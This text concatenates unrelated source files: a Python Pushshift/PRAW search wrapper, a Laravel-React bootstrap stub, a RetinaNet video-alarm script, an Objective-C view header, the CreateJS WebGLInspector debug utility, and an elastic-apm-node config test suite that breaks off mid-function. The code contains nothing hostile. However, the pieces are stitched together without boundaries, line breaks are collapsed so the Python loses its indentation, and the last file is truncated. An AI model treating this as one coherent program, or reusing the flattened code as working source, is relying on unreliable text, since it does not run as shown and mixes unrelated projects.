else: self.payload['after'] = thing.created_utc #class PushshiftAPI(PushshiftAPIMinimal): # Fill out this class with more user-friendly features later # pass class PushshiftAPI(PushshiftAPIMinimal): def __init__(self, r=None, *args, **kwargs): """ Helper class for interacting with the PushShift API for searching public reddit archival data. :param r: :class:`praw.Reddit` instance. If provided, PushShift will be used to fetch thing IDs, then data will be fetched directly from the reddit API via praw. :type r: class:`praw.Reddit`, optional :param max_retries: Maximum number of retries to attempt before quitting, defaults to 20. :type max_retries: int, optional :param max_sleep: Threshold waiting time (in seconds) between requests, to limit exponential backoff behavior, defaults to 3600 (1 hour). :type max_sleep: int, optional :param backoff: Multiplier for exponential backoff of wait time between failed requests, defaults to 2. :type backoff: int or float, optional :param rate_limit_per_minute: Maximum number of requests per 60 second period. If not provided, inferred from PushShift /meta endpoint. :type rate_limit_per_minute: int, optional :param max_results_per_request: Maximum number of items to return in a single request, defaults to 1000. :type max_results_per_request: int, optional :param detect_local_tz: Whether or not to attempt to detect the local time zone to infer `utc_offset_secs`, defaults to True. :type detect_local_tz: boolean, optional :param utc_offset_secs: Number of seconds local timezone is offset from UTC, defaults to None for automatic detection. :type utc_offset_secs: int, optional :param domain: PushShift subdomain, e.g. for accessing features only available in beta, defaults to 'api'. :type domain: str, optional :param https_proxy: URL of HTTPS proxy server to be used for GET requests, defaults to None. :type https_proxy: str, optional :param shards_down_behavior: How PSAW should behave if PushShift reports that some shards were down during a query. Options are "warn" to only emit a warning, "stop" to throw a RuntimeError, or None to take no action. Defaults to "warn". :type shards_down_behavior: str, optional :param disable_warnings: Whether or not to print warning messages, defaults to False. :type disable_warnings: bool, optional """ super().__init__(*args, **kwargs) self.r = r self._search_func = self._search if r is not None: self._search_func = self._praw_search def search_comments(self, **kwargs): return self._search_func(kind='comment', **kwargs) def search_submissions(self, **kwargs): return self._search_func(kind='submission', **kwargs) def redditor_subreddit_activity(self, author, **kwargs): """ :param author: Redditor to be profiled :type author: str """ outv = {} for k in ('comment', 'submission'): agg = next(self._search(kind=k, author=author, aggs='subreddit', **kwargs)) outv[k] = Counter({rec['key']:rec['doc_count'] for rec in agg['subreddit']}) return outv def _get_submission_comment_ids(self, submission_id, **kwargs): self.payload = copy.deepcopy(kwargs) endpoint = 'reddit/submission/comment_ids/{}'.format(submission_id) url = self.base_url.format(endpoint=endpoint) return self._get(url, self.payload)['data'] def _praw_search(self, **kwargs): prefix = self._thing_prefix[kwargs['kind'].title()] self.payload = copy.deepcopy(kwargs) client_return_batch = kwargs.get('return_batch') if client_return_batch is False: self.payload.pop('return_batch') if 'filter' in kwargs: self.payload.pop('filter') gen = self._search(return_batch=True, filter='id', **self.payload) using_gsci = False if kwargs.get('kind') == 'comment' and self.payload.get('submission_id'): using_gsci = True gen = [self._get_submission_comment_ids(**kwargs)] for batch in gen: if not batch: return if using_gsci: fullnames = [prefix + base36id for base36id in batch] else: fullnames = [prefix + c.id for c in batch] praw_batch = self.r.info(fullnames=fullnames) if client_return_batch: yield praw_batch else: for praw_thing in praw_batch: yield praw_thing
/** * First we will load all of this project's JavaScript dependencies which * includes React and other helpers. It's a great starting point while * building robust, powerful web applications using React + Laravel. */ require("./bootstrap"); /** * Next, we will create a fresh React component instance and attach it to * the page. Then, you may begin adding components to this application * or customize the JavaScript scaffolding to fit your unique needs. */ require("../../client/src/index.tsx");
# coding:utf-8 """ @Author : b1xian @Time : 2019/12/7 """ import cv2 import os import time from Retinanet import Retinanet import argparse def detect_video(model, input_path, output_path, video_name, alarm_range): fourcc = cv2.VideoWriter_fourcc('m', 'p', '4', 'v') video_capture = cv2.VideoCapture(os.path.join(input_path, video_name)) w = int(video_capture.get(3)) h = int(video_capture.get(4)) out = cv2.VideoWriter(os.path.join(output_path, video_name), fourcc, 25, (w, h), True) start = time.time() frame_count = 0 while True: ret, frame = video_capture.read() if not ret: break frame_count += 1 alarm, frame = model.predict(frame, alarm_range, frame_count) if alarm: print(alarm) out.write(frame) cost = time.time() - start print('mean fps:', frame_count / (cost + 1e-5)) out.release() video_capture.release() if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("--model_path", required=True, help="输入模型文件") parser.add_argument("--input_path", required=True, help="输入测试视频文件夹路径") parser.add_argument("--output_path", required=True, help="输出测试视频文件夹路径") args = parser.parse_args() model_path = args.model_path input_path = args.input_path output_path = args.output_path if not os.path.exists(output_path): os.makedirs(output_path) model = Retinanet(model_path=model_path) alarm_range = [[[21, 1073], [677, 313], [956, 361], [1296, 1066]]] for f in os.listdir(input_path): print('start detect video : ', f) detect_video(model, input_path, output_path, f, alarm_range)
// // CLPlaceHolderStyleWechat.h // TestDemo1231 // // Created by YuanRong on 16/1/6. // Copyright © 2016年 FelixMLians. All rights reserved. // #import <UIKit/UIKit.h> @protocol CLPlaceHolderStyleWechatDelegate <NSObject> @required - (void)emptyOverlayClicked:(id)sender; @end @interface CLPlaceHolderStyleWechat : UIView @property (nonatomic, weak) id<CLPlaceHolderStyleWechatDelegate> delegate; @end
/* * WebGLInspector * Visit http://createjs.com/ for documentation, updates and examples. * * Copyright (c) 2010 gskinner.com, inc. * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, * copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following * conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ /** * @module EaselJS */ this.createjs = this.createjs||{}; (function() { "use strict"; /** * A utility and helper class designed to work with {{#crossLink "StageGL"}}{{/crossLink}} to help investigate and * test performance or display problems. It contains logging functions to analyze behaviour and performance testing * utilities. * @class WebGLInspector * @constructor * @param {StageGL} stage The default stage to use when none is supplied. */ function WebGLInspector(stage) {} var p = createjs.extend(WebGLInspector, createjs.EventDispatcher); // properties: /** * Alternate output for debugging situations where "console" is not available, i.e. Mobile or remote debugging. * Expects object with a "log" function that takes any number of params. * @property alternateOutput * @type {Console} * @default null * @static * @protected */ WebGLInspector.alternateOutput = undefined; /** * Default stage to assume when non provided * @type {StageGL} * @private */ WebGLInspector.stage = undefined; // public methods: /** * Utility to call the right logging * @params * */ WebGLInspector.log = function() { (WebGLInspector.alternateOutput ? WebGLInspector.alternateOutput.log : console.log).apply(this, arguments); }; /** * Perform all of the logging reports at once. * @method log * @param {StageGL} [stage=WebGLInspector.stage] The stage to log information for. */ WebGLInspector.logAll = function(stage) { if (!stage){ stage = WebGLInspector.stage; } WebGLInspector.log("Batches Per Draw", (stage._batchID/stage._drawID).toFixed(4)); WebGLInspector.logContextInfo(stage._webGLContext); WebGLInspector.logDepth(stage.children, ""); WebGLInspector.logTextureFill(stage); }; /** * Replace the stage's Draw command with a new draw command. This is useful for: * <ul> * <li> Testing performance, with no render cost. See `WebGLInspector.drawEmpty` </li> * <li> Troubleshooting and tracking loaded textures. See `WebGLInspector.drawTexOnBuffer` </li> * <li> Misc feature or troubleshooting injection </li> * </ul> * @method replaceRenderBatchCall * @param {StageGL} [stage=WebGLInspector.stage] The stage to log information for. * @param {Function} newFunc . */ WebGLInspector.replaceRenderBatchCall = function(stage, newFunc) { if (!stage){ stage = WebGLInspector.stage; } if (newFunc === undefined && stage._renderBatch_) { stage._renderBatch = stage._renderBatch_; stage._renderBatch_ = undefined; } else { if (stage._renderBatch_ === undefined) { stage._renderBatch_ = stage._renderBatch; } stage._renderBatch = newFunc; } }; /** * Identical to replaceRenderBatchCall, but affects the Cover command. * @method replaceRenderCoverCall * @param {StageGL} [stage=WebGLInspector.stage] The stage to log information for. * @param {Function} newFunc . */ WebGLInspector.replaceRenderCoverCall = function(stage, newFunc) { if (!stage){ stage = WebGLInspector.stage; } if (newFunc === undefined && stage._renderCover_) { stage._renderCover = stage._renderCover_; stage._renderCover_ = undefined; } else { if (stage._renderCover_ === undefined) { stage._renderCover_ = stage._renderCover; } stage._renderCover = newFunc; } }; /** * Recursively walk the entire display tree, log the attached items, and display it in a tree view. * @method logDepth * @param {Array} [children=WebGLInspector.stage.children] The children array to walk through. * @param {String} prepend What to prepend to this output from this point onwards. * @param {Function} customLog Which logging function to use, mainly for filtering or formatting output. * Fallback hierarchy is customLog -> alternateOutput -> console.log. */ WebGLInspector.logDepth = function(children, prepend, customLog) { if (!children){ children = WebGLInspector.stage.children; } if (!prepend){ prepend = ""; } var l = children.length; for (var i=0; i<l; i++) { var child = children[i]; (customLog !== undefined ? customLog : WebGLInspector.log)(prepend+"-", child); if (child.children && child.children.length) { WebGLInspector.logDepth(child.children, "|"+prepend, customLog); } } }; /** * Examine the context and provide information about its capabilities. * @method logContextInfo * @param {WebGLRenderingContext} gl The WebGL context to inspect. */ WebGLInspector.logContextInfo = function(gl) { if (!gl) { gl = WebGLInspector.stage._webGLContext; } var data = "== LOG:\n"; data += "Max textures per draw: " + gl.getParameter(gl.MAX_TEXTURE_IMAGE_UNITS) +"\n"; data += "Max textures active: " + gl.getParameter(gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS) +"\n"; data += "\n"; data += "Max texture size: " + (gl.getParameter(gl.MAX_TEXTURE_SIZE)/2) +"^2 \n"; data += "Max cache size: " + (gl.getParameter(gl.MAX_RENDERBUFFER_SIZE)/2) +"^2 \n"; data += "\n"; data += "Max attributes per vertex: " + gl.getParameter(gl.MAX_VERTEX_ATTRIBS) +"\n"; data += "WebGL Version string: " + gl.getParameter(gl.VERSION) +"\n"; data += "======"; WebGLInspector.log(data); }; /** * Simulate renders and watch what happens for textures moving around between draw calls. A texture moving between * slots means it was removed and then re-added to draw calls. Performance may be better if it was allowed to stay * on GPU, consider sprite sheeting it with something stable. * @method logTextureFill * @param {StageGL} [stage=WebGLInspector.stage] The stage to log information for. */ WebGLInspector.logTextureFill = function(stage) { if (!stage){ stage = WebGLInspector.stage; } var dict = stage._textureDictionary; var count = stage._batchTextureCount; WebGLInspector.log("textureMax:", count); var output = []; for (var n in dict) { var str = n.replace(window.location.origin, ""); var tex = dict[n]; var shifted = tex._lastActiveIndex?tex._lastActiveIndex === tex._activeIndex:false; output.push({src:str, element:tex, shifted:shifted}); tex._lastActiveIndex = tex._activeIndex; } output.sort(function(a,b){ if (a.element._drawID === stage._drawID) { return 1; } if (a.element._drawID < b.element._drawID) { return -1; } return 0; }); var l = output.length; for (var i = 0; i<l; i++) { var out = output[i]; var active = out.element._drawID === stage._drawID; WebGLInspector.log("["+out.src+"] "+ (active?"ACTIVE":"stale") +" "+ (out.shifted?"steady":"DRIFT"), out.element); } }; // protected methods: // utility methods: /** * Utility function for use with {{#crossLink "logDepth"))((/crossLink}}. Logs an item's position and registration. * Useful to see if something is being forced off screen or has an integer position. * @method dispProps * @param {String} prepend The string to show before the item, usually formatting for a tree view. * @param {DisplayObject} item The item we're currently logging about. * @static */ WebGLInspector.dispProps = function(prepend, item){ if (!prepend){ prepend = ""; } var p = "\tP:"+ item.x.toFixed(2)+"x"+item.y.toFixed(2) +"\t"; var r = "\tR:"+ item.regX.toFixed(2)+"x"+item.regY.toFixed(2) +"\t"; WebGLInspector.log(prepend, item.toString()+"\t", p,r); }; /** * Utility function for use with {{#crossLink "replaceRenderBatchCall"))((/crossLink}}. * Performs no GL draw command. */ WebGLInspector.drawEmptyBatch = function() { WebGLInspector.log("BlankBatch["+ this._drawID +":"+ this._batchID +"] : "+ this.batchReason); this._batchVertexCount = 0; this._batchID++; }; /** * Utility function for use with {{#crossLink "replaceRenderCoverCall"))((/crossLink}}. * Performs no GL draw command. */ WebGLInspector.drawEmptyCover = function() { WebGLInspector.log("BlankCover["+ this._drawID +":"+ this._batchID +"] : "+ this.batchReason); this._batchID++; }; /** * Utility function for use with {{#crossLink "replaceRenderBatchCall"))((/crossLink}}. */ WebGLInspector.drawTexBuffer = function() { var gl = this._webGLContext; var texSize = 2048; // backup var batchVertexCount = this._batchVertexCount; var projectionMatrix = this._projectionMatrix; var shader = this._activeShader; var vertices = this._vertices; var indices = this._indices; var uvs = this._uvs; var alphas = this._alphas; var reason = this.batchReason; // create if (this._inspectorFrame === undefined) { this._inspectorFrame = this.getRenderBufferTexture(texSize, texSize); } else { gl.bindFramebuffer(gl.FRAMEBUFFER, this._inspectorFrame._frameBuffer); gl.clear(gl.COLOR_BUFFER_BIT); } // configure this._activeShader = this._mainShader; gl.blendEquationSeparate(gl.FUNC_ADD, gl.FUNC_ADD); gl.blendFuncSeparate(gl.ONE, gl.ONE_MINUS_SRC_ALPHA, gl.ONE, gl.ONE_MINUS_SRC_ALPHA); gl.viewport(0, 0, texSize, texSize); this._projectionMatrix = new Float32Array([2/texSize, 0, 0, 0, 0, -2/texSize, 0, 0, 0, 0, 1, 0, -1, 1, 0, 1]); this._vertices = new Float32Array(this._batchTextureCount * 2 * createjs.StageGL.INDICIES_PER_CARD); this._indices = new Float32Array(this._batchTextureCount * 1 * createjs.StageGL.INDICIES_PER_CARD); this._uvs = new Float32Array(this._batchTextureCount * 2 * createjs.StageGL.INDICIES_PER_CARD); this._alphas = new Float32Array(this._batchTextureCount * 1 * createjs.StageGL.INDICIES_PER_CARD); this.batchReason = "LoadedTextureDebug"; var squareBase = Math.ceil(Math.sqrt(this._batchTextureCount)); for(var i=0; i<this._batchTextureCount; i++) { var i1 = i*6, i2 = i1*2; var row = i % squareBase, col = Math.floor(i / squareBase), size = (1/squareBase) * texSize; this._vertices[i2] = (row)*size; this._vertices[i2+1] = (col)*size; this._vertices[i2+2] = (row)*size; this._vertices[i2+3] = (col+1)*size; this._vertices[i2+4] = (row+1)*size; this._vertices[i2+5] = (col)*size; this._vertices[i2+6] = this._vertices[i2+2]; this._vertices[i2+7] = this._vertices[i2+3]; this._vertices[i2+8] = this._vertices[i2+4]; this._vertices[i2+9] = this._vertices[i2+5]; this._vertices[i2+10] = (row+1)*size; this._vertices[i2+11] = (col+1)*size; this._uvs[i2] = 0; this._uvs[i2+1] = 1; this._uvs[i2+2] = 0; this._uvs[i2+3] = 0; this._uvs[i2+4] = 1; this._uvs[i2+5] = 1; this._uvs[i2+6] = 0; this._uvs[i2+7] = 0; this._uvs[i2+8] = 1; this._uvs[i2+9] = 1; this._uvs[i2+10] = 1; this._uvs[i2+11] = 0; this._indices[i1] = this._indices[i1+1] = this._indices[i1+2] = this._indices[i1+3] = this._indices[i1+4] = this._indices[i1+5] = i; this._alphas[i1] = this._alphas[i1+1] = this._alphas[i1+2] = this._alphas[i1+3] = this._alphas[i1+4] = this._alphas[i1+5] = 1; } // output this._batchVertexCount = this._batchTextureCount * createjs.StageGL.INDICIES_PER_CARD; this._renderBatch_(); this._batchID--; // reset and perform gl.bindFramebuffer(gl.FRAMEBUFFER, this._batchTextureOutput._frameBuffer); var shaderData = this._builtShaders[this._renderMode]; gl.blendEquationSeparate(shaderData.eqRGB, shaderData.eqA); gl.blendFuncSeparate(shaderData.srcRGB, shaderData.dstRGB, shaderData.srcA, shaderData.dstA); gl.viewport(0, 0, this._viewportWidth, this._viewportHeight); this._activeShader = shader; this._batchVertexCount = batchVertexCount; this._projectionMatrix = projectionMatrix; this._vertices = vertices; this._indices = indices; this._uvs = uvs; this._alphas = alphas; this.batchReason = reason; this._renderBatch_(); }; createjs.WebGLInspector = createjs.promote(WebGLInspector, "EventDispatcher"); }());
'use strict' var cp = require('child_process') var fs = require('fs') var IncomingMessage = require('http').IncomingMessage var os = require('os') var path = require('path') var util = require('util') var isRegExp = require('core-util-is').isRegExp var mkdirp = require('mkdirp') var pFinally = require('p-finally') var rimraf = require('rimraf') var semver = require('semver') var test = require('tape') var promisify = require('util.promisify') var Agent = require('./_agent') var config = require('../lib/config') var Instrumentation = require('../lib/instrumentation') var optionFixtures = [ ['serviceName', 'SERVICE_NAME', 'elastic-apm-node'], ['secretToken', 'SECRET_TOKEN'], ['serverUrl', 'SERVER_URL'], ['verifyServerCert', 'VERIFY_SERVER_CERT', true], ['serviceVersion', 'SERVICE_VERSION'], ['active', 'ACTIVE', true], ['logLevel', 'LOG_LEVEL', 'info'], ['hostname', 'HOSTNAME'], ['apiRequestSize', 'API_REQUEST_SIZE', 768 * 1024], ['apiRequestTime', 'API_REQUEST_TIME', 10], ['frameworkName', 'FRAMEWORK_NAME'], ['frameworkVersion', 'FRAMEWORK_VERSION'], ['stackTraceLimit', 'STACK_TRACE_LIMIT', 50], ['captureExceptions', 'CAPTURE_EXCEPTIONS', true], ['filterHttpHeaders', 'FILTER_HTTP_HEADERS', true], ['captureErrorLogStackTraces', 'CAPTURE_ERROR_LOG_STACK_TRACES', config.CAPTURE_ERROR_LOG_STACK_TRACES_MESSAGES], ['captureSpanStackTraces', 'CAPTURE_SPAN_STACK_TRACES', true], ['captureBody', 'CAPTURE_BODY', 'off'], ['errorOnAbortedRequests', 'ERROR_ON_ABORTED_REQUESTS', false], ['abortedErrorThreshold', 'ABORTED_ERROR_THRESHOLD', 25], ['instrument', 'INSTRUMENT', true], ['asyncHooks', 'ASYNC_HOOKS', true], ['sourceLinesErrorAppFrames', 'SOURCE_LINES_ERROR_APP_FRAMES', 5], ['sourceLinesErrorLibraryFrames', 'SOURCE_LINES_ERROR_LIBRARY_FRAMES', 5], ['sourceLinesSpanAppFrames', 'SOURCE_LINES_SPAN_APP_FRAMES', 0], ['sourceLinesSpanLibraryFrames', 'SOURCE_LINES_SPAN_LIBRARY_FRAMES', 0], ['errorMessageMaxLength', 'ERROR_MESSAGE_MAX_LENGTH', 2048], ['transactionMaxSpans', 'TRANSACTION_MAX_SPANS', 500], ['transactionSampleRate', 'TRANSACTION_SAMPLE_RATE', 1.0], ['serverTimeout', 'SERVER_TIMEOUT', 30], ['disableInstrumentations', 'DISABLE_INSTRUMENTATIONS', []], ['containerId', 'CONTAINER_ID'], ['kubernetesNodeName', 'KUBERNETES_NODE_NAME'], ['kubernetesNamespace', 'KUBERNETES_NAMESPACE'], ['kubernetesPodName', 'KUBERNETES_POD_NAME'], ['kubernetesPodUID', 'KUBERNETES_POD_UID'] ] var falsyValues = [false, 'false'] var truthyValues = [true, 'true'] optionFixtures.forEach(function (fixture) { if (fixture[1]) { var bool = typeof fixture[2] === 'boolean' var url = fixture[0] === 'serverUrl' // special case for url's so they can be parsed using url.parse() var number = typeof fixture[2] === 'number' var array = Array.isArray(fixture[2]) test('should be configurable by environment variable ELASTIC_APM_' + fixture[1], function (t) { var agent = Agent() var value if (bool) value = !fixture[2] else if (number) value = 1 else if (url) value = 'http://custom-value' else value = 'custom-value' process.env['ELASTIC_APM_' + fixture[1]] = value.toString() agent.start() if (array) { t.deepEqual(agent._conf[fixture[0]], [ value ]) } else { t.equal(agent._conf[fixture[0]], bool ? !fixture[2] : value) } delete process.env['ELASTIC_APM_' + fixture[1]] t.end() }) test('should overwrite option property ' + fixture[0] + ' by ELASTIC_APM_' + fixture[1], function (t) { var agent = Agent() var opts = {} var value1, value2 if (bool) { value1 = !fixture[2] value2 = fixture[2] } else if (number) { value1 = 2 value2 = 1 } else if (url) { value1 = 'http://overwriting-value' value2 = 'http://custom-value' } else { value1 = 'overwriting-value' value2 = 'custom-value' } opts[fixture[0]] = value1 process.env['ELASTIC_APM_' + fixture[1]] = value2.toString() agent.start(opts) if (array) { t.deepEqual(agent._conf[fixture[0]], [ value2 ]) } else { t.equal(agent._conf[fixture[0]], value2) } delete process.env['ELASTIC_APM_' + fixture[1]] t.end() }) } test('should default ' + fixture[0] + ' to ' + fixture[2], function (t) { var agent = Agent() agent.start() if (array) { t.deepEqual(agent._conf[fixture[0]], fixture[2]) } else { t.equal(agent._conf[fixture[0]], fixture[2]) } t.end() }) }) falsyValues.forEach(function (val) { test('should be disabled by environment variable ELASTIC_APM_ACTIVE set to: ' + util.inspect(val), function (t) { var agent = Agent() process.env.ELASTIC_APM_ACTIVE = val agent.start({ serviceName: 'foo', secretToken: 'baz' }) t.equal(agent._conf.active, false) delete process.env.ELASTIC_APM_ACTIVE t.end() }) }) truthyValues.forEach(function (val) { test('should be enabled by environment variable ELASTIC_APM_ACTIVE set to: ' + util.inspect(val), function (t) { var agent = Agent() process.env.ELASTIC_APM_ACTIVE = val agent.start({ serviceName: 'foo', secretToken: 'baz' }) t.equal(agent._conf.active, true) delete process.env.ELASTIC_APM_ACTIVE t.end() }) }) test('should log invalid booleans', function (t) { var agent = Agent() var logger = new CaptureLogger() agent.start({ serviceName: 'foo', secretToken: 'baz', active: 'nope', logger }) t.equal(logger.calls.length, 2) var warning = logger.calls.shift() t.equal(warning.message, 'unrecognized boolean value "%s" for "%s"') t.equal(warning.args[0], 'nope') t.equal(warning.args[1], 'active') var info = logger.calls.shift() t.equal(info.message, 'Elastic APM agent is inactive due to configuration') t.equal(info.args.length, 0) t.end() }) var MINUS_ONE_EQUAL_INFINITY = [ 'transactionMaxSpans' ] MINUS_ONE_EQUAL_INFINITY.forEach(function (key) { test(key + ' should be Infinity if set to -1', function (t) { var agent = Agent() var opts = {} opts[key] = -1 agent.start(opts) t.equal(agent._conf[key], Infinity) t.end() }) }) var bytesValues = [ 'apiRequestSize', 'errorMessageMaxLength' ] bytesValues.forEach(function (key) { test(key + ' should be converted to a number', function (t) { var agent = Agent() var opts = {} opts[key] = '1mb' agent.start(opts) t.equal(agent._conf[key], 1024 * 1024) t.end() }) }) var timeValues = [ 'apiRequestTime', 'abortedErrorThreshold', 'serverTimeout' ] timeValues.forEach(function (key) { test(key + ' should convert minutes to seconds', function (t) { var agent = Agent() var opts = {} opts[key] = '1m' agent.start(opts) t.equal(agent._conf[key], 60) t.end() }) test(key + ' should convert milliseconds to seconds', function (t) { var agent = Agent() var opts = {} opts[key] = '2000ms' agent.start(opts) t.equal(agent._conf[key], 2) t.end() }) test(key + ' should parse seconds', function (t) { var agent = Agent() var opts = {} opts[key] = '5s' agent.start(opts) t.equal(agent._conf[key], 5) t.end() }) test(key + ' should support bare numbers', function (t) { var agent = Agent() var opts = {} opts[key] = 10 agent.start(opts) t.equal(agent._conf[key], 10) t.end() }) }) test('should overwrite option property active by ELASTIC_APM_ACTIVE', function (t) { var agent = Agent() var opts = { serviceName: 'foo', secretToken: 'baz', active: true } process.env.ELASTIC_APM_ACTIVE = 'false' agent.start(opts) t.equal(agent._conf.active, false) delete process.env.ELASTIC_APM_ACTIVE t.end() }) test('should default serviceName to package name', function (t) { var agent = Agent() agent.start() t.equal(agent._conf.serviceName, 'elastic-apm-node') t.end() }) test('should default to empty request blacklist arrays', function (t) { var agent = Agent() agent.start() t.equal(agent._conf.ignoreUrlStr.length, 0) t.equal(agent._conf.ignoreUrlRegExp.length, 0) t.equal(agent._conf.ignoreUserAgentStr.length, 0) t.equal(agent._conf.ignoreUserAgentRegExp.length, 0) t.end() }) test('should separate strings and regexes into their own blacklist arrays', function (t) { var agent = Agent() agent.start({ ignoreUrls: ['str1', /regex1/], ignoreUserAgents: ['str2', /regex2/] }) t.deepEqual(agent._conf.ignoreUrlStr, ['str1']) t.deepEqual(agent._conf.ignoreUserAgentStr, ['str2']) t.equal(agent._conf.ignoreUrlRegExp.length, 1) t.ok(isRegExp(agent._conf.ignoreUrlRegExp[0])) t.equal(agent._conf.ignoreUrlRegExp[0].toString(), '/regex1/') t.equal(agent._conf.ignoreUserAgentRegExp.length, 1) t.ok(isRegExp(agent._conf.ignoreUserAgentRegExp[0])) t.equal(agent._conf.ignoreUserAgentRegExp[0].toString(), '/regex2/') t.end() }) test('invalid serviceName => inactive', function (t) { var agent = Agent() agent.start({ serviceName: 'foo&bar' }) t.equal(agent._conf.active, false) t.end() }) test('valid serviceName => active', function (t) { var agent = Agent() agent.start({ serviceName: 'fooBAR0123456789_- ' }) t.equal(agent._conf.active, true) t.end() }) test('serviceName defaults to package name', function (t) { var mkdirpPromise = promisify(mkdirp) var rimrafPromise = promisify(rimraf) var writeFile = promisify(fs.writeFile) var symlink = promisify(fs.symlink) var exec = promisify(cp.exec) function testServiceConfig (pkg, handle) { var tmp = path.join(os.tmpdir(), 'elastic-apm-node-test') var files = [ { action: 'mkdirp', dir: tmp }, { action: 'create', path: path.join(tmp, 'package.json'), contents: JSON.stringify(pkg) }, { action: 'create', path: path.join(tmp, 'index.js'), contents: ` var apm = require('elastic-apm-node').start() console.log(JSON.stringify(apm._conf)) ` }, { action: 'mkdirp', dir: path.join(tmp, 'node_modules') }, { action: 'symlink', from: path.resolve(__dirname, '..'), to: path.join(tmp, 'node_modules/elastic-apm-node') } ] // NOTE: Reduce the sequence to a promise chain rather // than using Promise.all(), as the tasks are dependent. let promise = files.reduce((p, file) => { return p.then(() => { switch (file.action) { case 'create': { return writeFile(file.path, file.contents) } case 'mkdirp': { return mkdirpPromise(file.dir) } case 'symlink': { return symlink(file.from, file.to) } } }) }, Promise.resolve()) promise = promise .then(() => { return exec('node index.js', { cwd: tmp }) }) .then(result => { // NOTE: Real util.promisify returns an object, // the polyfill just returns stdout as a string. return JSON.parse(result.stdout || result) }) return pFinally(promise, () => { return rimrafPromise(tmp) }) } t.test('should be active when valid', function (t) { var pkg = { name: 'valid' } return testServiceConfig(pkg).then(conf => { t.equal(conf.active, true) t.equal(conf.serviceName, pkg.name) t.end() }) }) t.test('should be inactive when blank', function (t) { var pkg = { name: '' } return testServiceConfig(pkg).then(conf => { t.equal(conf.active, false) t.equal(conf.serviceName, pkg.name) t.end() }) }) t.test('should be inactive when missing', function (t) { var pkg = {} return testServiceConfig(pkg).then(conf => { t.equal(conf.active, false) t.end() }) }) }) var captureBodyTests = [ { value: 'off', errors: '[REDACTED]', transactions: '[REDACTED]' }, { value: 'transactions', errors: '[REDACTED]', transactions: 'test' }, { value: 'errors', errors: 'test', transactions: '[REDACTED]' }, { value: 'all', errors: 'test', transactions: 'test' } ] captureBodyTests.forEach(function (captureBodyTest) { test('captureBody => ' + captureBodyTest.value, function (t) { t.plan(4) var agent = Agent() agent.start({ serviceName: 'test', captureExceptions: false, captureBody: captureBodyTest.value }) var sendError = agent._transport.sendError var sendTransaction = agent._transport.sendTransaction agent._transport.sendError = function (error, cb) { var request = error.context.request t.ok(request) t.equal(request.body, captureBodyTest.errors) if (cb) process.nextTick(cb) } agent._transport.sendTransaction = function (trans, cb) { var request = trans.context.request t.ok(request) t.equal(request.body, captureBodyTest.transactions) if (cb) process.nextTick(cb) } t.on('end', function () { agent._transport.sendError = sendError agent._transport.sendTransaction = sendTransaction }) var req = new IncomingMessage() req.socket = { remoteAddress: '127.0.0.1' } req.headers['transfer-encoding'] = 'chunked' req.headers['content-length'] = 4 req.body = 'test' agent.captureError(new Error('wat'), { request: req }) var trans = agent.startTransaction() trans.req = req trans.end() }) }) test('disableInstrumentations', function (t) { var hapiVersion = require('hapi/package.json').version var mysql2Version = require('mysql2/package.json').version var modules = new Set(Instrumentation.modules) if (semver.lt(process.version, '8.3.0')) { modules.delete('http2') } if (semver.lt(process.version, '8.9.0') && semver.gte(hapiVersion, '17.0.0')) { modules.delete('hapi') } if (semver.lt(process.version, '6.0.0') && semver.gte(mysql2Version, '1.6.0')) { modules.delete('mysql2') } if (semver.lt(process.version, '6.0.0')) { modules.delete('express-queue') modules.delete('apollo-server-core') } function testSlice (t, name, selector) { var selection = selector(modules) var selectionSet = new Set(typeof selection === 'string' ? selection.split(',') : selection) t.test(name + ' -> ' + Array.from(selectionSet).join(','), function (t) { var agent = Agent() agent.start({ serviceName: 'service', disableInstrumentations: selection, captureExceptions: false }) var found = new Set() agent._instrumentation._patchModule = function (exports, name, version, enabled) { if (!enabled) found.add(name) return exports } for (const mod of modules) { require(mod) } t.deepEqual(selectionSet, found, 'disabled all selected modules') t.end() }) } for (const mod of modules) { testSlice(t, 'individual modules', () => new Set([mod])) } testSlice(t, 'multiple modules by array', modules => { return Array.from(modules).filter((value, index) => index % 2) }) testSlice(t, 'multiple modules by csv string', modules => { return Array.from(modules).filter((value, index) => !(index % 2)) }) t.end() }) test('custom transport', function (t) { var agent = Agent() agent.start({ serviceName: 'fooBAR0123456789_- ', transport () { var transactions = [] var spans = [] var errors = [] function makeSenderFor (list) { return (item, callback) => { list.push(item) if (callback) { setImmediate(callback) } } } var first = true return { sendTransaction: makeSenderFor(transactions), sendSpan: makeSenderFor(spans), sendError: makeSenderFor(errors), flush (cb) { if (cb) setImmediate(cb) if (first) { first = false return } t.equal(transactions.length, 1, 'received correct number of transactions') assertEncodedTransaction(t, trans, transactions[0]) t.equal(spans.length, 1, 'received correct number of spans') assertEncodedSpan(t, span, spans[0]) t.equal(errors.length, 1, 'received correct number of errors') assertEncodedError(t, error, errors[0], trans, span) t.end() } } } }) var error = new Error('error') var trans = agent.startTransaction('transaction') var span = agent.startSpan('span') agent.captureError(error) span.end() trans.end() agent.flush() }) function assertEncodedTransaction (t, trans, result) { t.comment('transaction') t.equal(result.id, trans.id, 'id matches') t.equal(result.trace_id, trans.traceId, 'trace id matches') t.equal(result.parent_id, trans.parentId, 'parent id matches') t.equal(result.name, trans.name, 'name matches') t.equal(result.type, trans.type, 'type matches') t.equal(result.duration, trans._timer.duration, 'duration matches') t.equal(result.timestamp, trans.timestamp, 'timestamp matches') t.equal(result.result, trans.result, 'result matches') t.equal(result.sampled, trans.sampled, 'sampled matches') } function 